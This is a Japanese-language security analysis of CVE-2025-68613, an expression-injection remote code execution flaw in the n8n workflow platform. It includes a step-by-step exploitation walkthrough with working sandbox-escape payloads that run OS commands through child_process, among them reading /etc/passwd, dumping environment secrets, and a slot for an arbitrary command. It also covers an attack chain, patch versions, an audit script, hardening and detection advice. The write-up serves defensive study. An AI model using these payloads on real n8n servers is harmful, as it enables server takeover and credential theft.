
CVE-2025-68613 (n8n) 重大なRCE分析 + 防御推奨事項(パッチ検証、検出アイデア、強化のヒント)
マトリックスGIF
CVE-2025-68613 は、n8n のワークフロー自動化プラットフォームにおける 重大なリモートコード実行(RCE)脆弱性 であり、認証済みの攻撃者が 式インジェクション を通じて任意のシステムコマンドを実行できるようにします。
n8n はオープンソースのワークフロー自動化プラットフォームで、400 以上のアプリケーションとの ノーコード/ローコード統合 を可能にします。以下のような環境で広く展開されています:
| 🏢 ユースケース | 📝 説明 |
|---|---|
| 🔧 DevOps |
🔓 脆弱性チェーン:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n 式言語 → 動的データ処理 │
│ ↓ │
│ ⚠️ サンドボックス分離の不十分なサーバーサイド評価 │
│ ↓ │
│ 💀 悪意のある式がサンドボックスを脱出 │
│ ↓ │
│ 🖥️ Node.js child_process モジュールにアクセス │
│ ↓ │
│ 💥 完全な RCE - OS コマンド実行 │
└─────────────────────────────────────────────────────────────────┘
悪用の前提条件:
| # | 📋 要件 | 📝 詳細 |
|---|---|---|
| 1️⃣ | 認証 | 有効な n8n ユーザーアカウント(低権限で十分) |
| 2️⃣ | 権限 |
| 🏷️ 属性 | 📊 値 | 🔥 リスク |
|---|---|---|
| 複雑さ | 低 (AC:L) | 🔴 高 |
| ユーザー操作 | 不要 | 🔴 高 |
graph TD
A[🔐 認証ユーザー] -->|作成| B[📝 新規ワークフロー]
B -->|注入| C[💀 悪意のある式]
C -->|トリガー| D[⚡ 式評価]
D -->|悪用| E[🔓 サンドボックス脱出]
E -->|アクセス| F[🖥️ Node.js ランタイム]
F -->|実行| G[💥 child_process によるOSコマンド]
G -->|達成| H[☠️ サーバー完全乗っ取り]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ 免責事項:以下は 教育目的のみ です。不正な悪用は違法です。
脆弱な n8n ワークフロー自動化プラットフォームへの初期アクセス。
🔓 n8n ウェルカムダッシュボード - エントリポイント
悪意のあるペイロードを含む新しいワークフローを作成します。
📝 「最初のステップを追加」で新規ワークフローを作成
ワークフロートリガーを設定 - マニュアルトリガーはオンデマンド実行を可能にします。
🎯 ワークフロー起動のためのマニュアルトリガーを選択
悪意のある式を含む「項目を編集(Set)」ノードを追加します。
🔧 ペイロード注入用の「項目を編集(Set)」ノードを追加
重要なステップ - サンドボックス脱出式を注入して RCE を達成します。
💀 悪意のある式が 'id' コマンドを正常に実行!
// 🔴 悪意のあるペイロード(不正利用厳禁)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
出力結果: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE 確認!
コードインジェクションGIF
⚠️ 警告:これらのペイロードは 認可されたセキュリティテストのみ を目的としています。不正利用は違法です!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('あなたのコマンド').toString() })() }}
💀 /etc/passwd の読み取り - 完全なファイルシステムアクセスを実証!
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 脆弱性の根本原因 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ n8n の式評価器は、関数式が以下のものにアクセスするのを防ぐサニタイザーが │
│ 欠如しています: │
│ │
│ ❌ this.process → Node.js プロセスオブジェクト │
│ ❌ mainModule.require → モジュールローディングシステム │
│ ❌ child_process → OS コマンド実行 │
│ │
│ これにより、システムモジュールへの直接アクセスと任意コード実行が可能! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
# 🛡️ n8n を修正バージョンにアップグレード
npm install -g n8n@latest
# Docker を使用する場合
docker pull n8n/n8n:1.122.0
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n バージョン監査
echo "🔍 n8n バージョンを確認中..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ 脆弱: n8n $VER は CVE-2025-68613 の影響を受けます"
echo "📦 対応: バージョン 1.120.4, 1.121.1, または 1.122.0+ にアップグレードしてください"
exit 2
else
echo "✅ 安全: n8n $VER は修正されています"
fi
else
echo "❌ n8n が PATH に見つかりません"
fi
# 🛡️ 強化された n8n デプロイメント
FROM n8n/n8n:1.122.0
# 👤 非 root ユーザーで実行
USER node
# 🔒 以下のランタイムフラグを適用:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ 対策 | 📝 実装方法 |
|---|---|
| 🌐 ネットワークセグメンテーション | n8n インスタンスを分離 |
| 🔥 WAF ルール | 式パターンを監視 |
| 📜 監査ログ | 包括的なログを有効化 |
| 🔍 セキュリティレビュー | 定期的なワークフロー評価 |
n8n ワークフロー定義において、正当な動的式の使用とセキュリティのバランスを考慮しながら、実行前に式インジェクションの試みを検出するルールをどのように設計しますか?
追加課題: パッチ適用後もサンドボックス脱出が発生した場合に、ブラスト半径を制限するためにどのようなランタイム保護を実装しますか?
#CVE-2025-68613 #n8n #RCE #式インジェクション #ワークフロー自動化
#サンドボックス脱出 #CWE-913 #重大な脆弱性 #ペネトレーションテスト #ブルーチーム
⚠️ 免責事項: この分析は 教育および防御目的 のみです。
脆弱性の不正な悪用は 違法 です。
⚡ クイックスタッツ
|
🎯 重要事項
|
| プロパティ | 値 |
|---|
| 🆔 CVE ID | CVE-2025-68613 |
| 📊 CVSS スコア | 9.9(重大)🔴 |
| 🔗 CVSS ベクトル | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913(動的に管理されるコードリソースの不適切な制御) |
| 📦 影響を受けるバージョン | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ 修正バージョン | 1.120.4, 1.121.1, 1.122.0+ |
| 自動化パイプライン、CI/CD 統合 |
| 🛡️ セキュリティ運用 | SOAR ワークフロー、インシデント対応 |
| 💼 ビジネス | プロセス自動化、データワークフロー |
| 📊 データ | ETL プロセス、API 統合 |
| ワークフローの作成/編集機能 |
| 3️⃣ | ネットワークアクセス | n8n インスタンスに到達可能であること |
| スコープ |
| 変更あり |
| 🔴 重大 |
| 🎯 ペイロード | 📋 期待される出力 |
|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | システムユーザー一覧(root, daemon, node など) |
env | シークレットを含むすべての環境変数 |
ls -la / | ルートファイルシステムの一覧 |
|
|
| フェーズ | 🔥 アクション | 💀 影響 |
|---|
| 1️⃣ | 初期アクセス | n8n に認証 |
| 2️⃣ | 実行 | 悪意のあるワークフローを送信 |
| 3️⃣ | 永続化 | リバースシェル/バックドアを展開 |
| 4️⃣ | C2 | コマンド&コントロールを確立 |
| 5️⃣ | アクション | データ流出、横方向移動 |
| 🎯 アクション | 💥 影響レベル |
|---|
| 🔑 認証情報の窃取 | API キー、OAuth トークン、DB パスワードを抽出 |
| 📤 データ流出 | ワークフローデータ、実行ログ、ビジネス情報 |
| 🔒 永続化 | cron ジョブ、スタートアップスクリプト、ウェブシェル |
| 🔀 横方向移動 | データベース、CI/CD、クラウドインフラへのピボット |
| 🗑️ ワークフロー操作 | 自動化ロジックの変更/破壊 |
🔴 機密性(高)
|
🟠 完全性(高)
|
🟡 可用性(高)
|
| # | 📋 方法 | 🔍 監視すべき項目 |
|---|
| 📜 | ログ分析 | n8n プロセスからの異常なコマンド、失敗した式 |
| 🌐 | ネットワーク | 未知の IP への送信接続、大量の POST リクエスト |
| ⚡ | ランタイム | child_process の呼び出し、予期しないプロセス生成 |
| 📦 | バージョン監査 | 脆弱性のあるバージョン範囲との照合 |
| 🔢 優先度 | 🛠️ アクション | 📝 詳細 |
|---|
| 🔴 P0 | 今すぐパッチ適用 | バージョン 1.120.4, 1.121.1, または 1.122.0+ にアップグレード |
| 🟠 P1 | アクセス制限 | ワークフロー作成を信頼できるユーザーのみに制限 |
| 🟡 P2 | コンテナ強化 | セキュリティ制限を設けてデプロイ |
| 🔓 最小権限 | アクセス制御を強化 |